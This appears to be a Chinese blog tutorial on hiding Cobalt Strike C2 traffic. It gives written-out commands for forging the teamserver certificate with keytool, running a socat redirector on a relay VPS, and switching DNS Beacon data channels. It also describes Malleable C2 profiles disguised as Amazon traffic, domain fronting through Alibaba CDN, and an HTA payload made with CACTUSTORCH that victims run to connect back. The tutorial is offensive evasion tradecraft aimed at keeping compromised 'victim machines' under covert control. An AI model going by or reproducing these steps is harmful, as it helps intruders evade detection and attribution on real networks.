Cobaltstrike之流量隐藏

汇总一些cs的常见流量隐藏技术

证书修改

Keytool是一个java数据证书的管理工具,Keytool将密钥 和 证书 存放在一个称为 keystore 的文件中,即.store后缀的文件中。修改.store文件可以隐藏teamsrver的特征,避免被网络空间搜索引擎发现,同时需要修改默认端口。查看证书内容keytool -list -v -keystore cobaltstrike.store,可以看到很多特征信息。

image-20200821170818974

先删除store文件,按照如下代码修改证书信息

1
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"

image-20200821171645900

生成证书文件

1
keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12

image-20200821171732016

修改端口 编辑teamserver文件,将端口从50050修改为50005

image-20200821172405018

重定向

创建重定向监听器cdx,HTTP Hosts填入中转的vps地址,HTTP Host(Stager)地址也填入中转的vps地址,端口为80端口。

image-20200821160118935

在中转vps进行流量转发,将中转vps的80端口流量转发到teamserver的80端口

1
socat TCP4-LISTEN:80,fork TCP4:[team server]:80

image-20200821164516792

生成shellcode后执行上线。

image-20200821165306829

查看通信流量为于中转vps的交互

image-20200821165736498

##DNS Beacon

DNS Beacon将数据封装在DNS协议中,然后利用DNS查询过程进行数据传输。可躲避一些防火墙和入侵检测设备,且DNS走UDP协议,受害机一般无特殊异常且较难发现。

设置一个A类地址指向teamserver的ip地址

image-20200817225615765

在创建几个ns记录指向刚才创建的A类地址,结果如下

image-20200818103031338

创建一个Listener,payload选择Beacon DNS,DNS Hosts填写刚才创建的两个ns地址,DNS Host地址填写任意一个ns地址

image-20200818125241550

创建完后本机执行nslookup ns地址,返回为0.0.0.0则表示成功。

image-20200818125353029

然后创建一个Stageless,选择刚才创建的Listener

image-20200818125951466

执行后会有机子上线,但显示为黑色。

image-20200818130057154

此时在Beacon中输入以下命令

1
2
checkin  #强制回连
mode dns-txt #使用dns TXT记录的数据通道

输入以上命令后再输入任意命令执行后点亮受害机

image-20200818130617138

wireshark抓包可以发现数据走dns-txt,但会显示ns域名信息(打码处)

image-20200818153051395

除了mode dns-txt 外还可以使用mode dns 使用dns A记录的数据通道(ipv4)和mode dns6 使用dns AAAA记录的数据通道(ipv6)。

流量伪装

流量伪造主要使用Malleable-C2-Profiles脚本,github搜索即可。

先来看发现4.1的流量,wireshark使用ip.addr == vpsip and tcp.port == 81 and http命令抓包发现流量内通已经加密

image-20200817162149285

但依然可以post请求中可以发现cs的特征。

image-20200817181513752

使用Malleable-C2-Profiles来隐藏流量

使用方法:./teamserver [external IP] [password] [/path/to/my.profile]

image-20200817191014733

配置后需要重新生成shellcode,执行后发现post数据包为amazon内容。

image-20200817193936853

部分代码如下

image-20200817194151708

域前置

使用阿里云cdn做测试,伪造高可信域名,如下配置

image-20200819222241488

配置完后复制cnname地址,使用多地区ping,获取域名的ip地址

image-20200819222934691

配置好后测试一下CDN转发功能,在C2监听80端口,个人终端执行请求:

1
curl 阿里云CDN节点IP/  -H "Host:你配置的CDN域名" -v

image-20200820234324385

如果返回码为404则表示成功。

使用Malleable-C2-Profiles,统一替换里面的设置里面的header “Host”值为自己配置的域名,同时配置dc_ref的地址也为自己的域名

image-20200820234755204

重新启动cs,建立监听器HTTP Hosts中填写一些阿里云cdn的ip,HTTP Host(stager)填写配置的ip,端口为80。

image-20200821101600836

配置完后观察Web_log会有不断的请求。

image-20200821093712489

生成exe测试上线

image-20200821140946009

可以上线,其中external的地址会不断变化

image-20200821141003994

wireshark抓包发现请求地址为配置的域名

image-20200821110130415

其中流量已伪装,传输数据已加密,通信地址都为cdn的ip

image-20200821112504776

流量中搜索不到真实teamserver地址

image-20200821111649965

如果是cs3.14,则需要用到CACTUSTORCH脚本。地址:

https://github.com/mdsecactivebreach/CACTUSTORCH.git

加载成功后选择如下

image-20200821091310416

生成一个HTA payload

image-20200821092818844

image-20200821101134524

受害机执行如下命令

image-20200821095440458

成功上线

image-20200821101509781

-------------本文结束感谢您的阅读-------------